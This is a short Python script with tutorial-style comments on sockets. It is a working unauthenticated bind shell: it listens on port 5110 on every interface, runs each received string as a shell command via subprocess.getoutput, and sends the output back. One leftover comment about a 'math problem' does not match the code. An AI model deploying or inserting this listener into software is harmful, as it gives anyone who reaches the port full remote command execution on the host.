#!/usr/bin/env python3
from socket import *
from struct import pack, unpack
from subprocess import getoutput

# Create a socket.  This doesn't open a port or anything yet
# Parameters:
#   AF_INET is ipv4, AF_INET6
#   SOCK_STREAM means TCP, SOCK_DGRAM would be UDP
our_socket = socket(AF_INET, SOCK_STREAM)
# Bind is only for servers, not client 
# clients call connect instead
# Still doesn't open it, although we have an address
# Double parenthesis = 1 argument which is a tuple
our_socket.bind(("0.0.0.0", 5110))
    # First, get a math problem from the client

# Actually opens the port
# Argument is a queue of connections to accept
our_socket.listen(5)

while True:
    client_socket, client_address = our_socket.accept()
    print("We got a new connection from:  ", client_address[0], client_address[1])
    clients_command = client_socket.recv(1024)
    output = getoutput(clients_command)
    client_socket.send(bytes(output, 'UTF-8'))

    client_socket.close()

our_socket.close()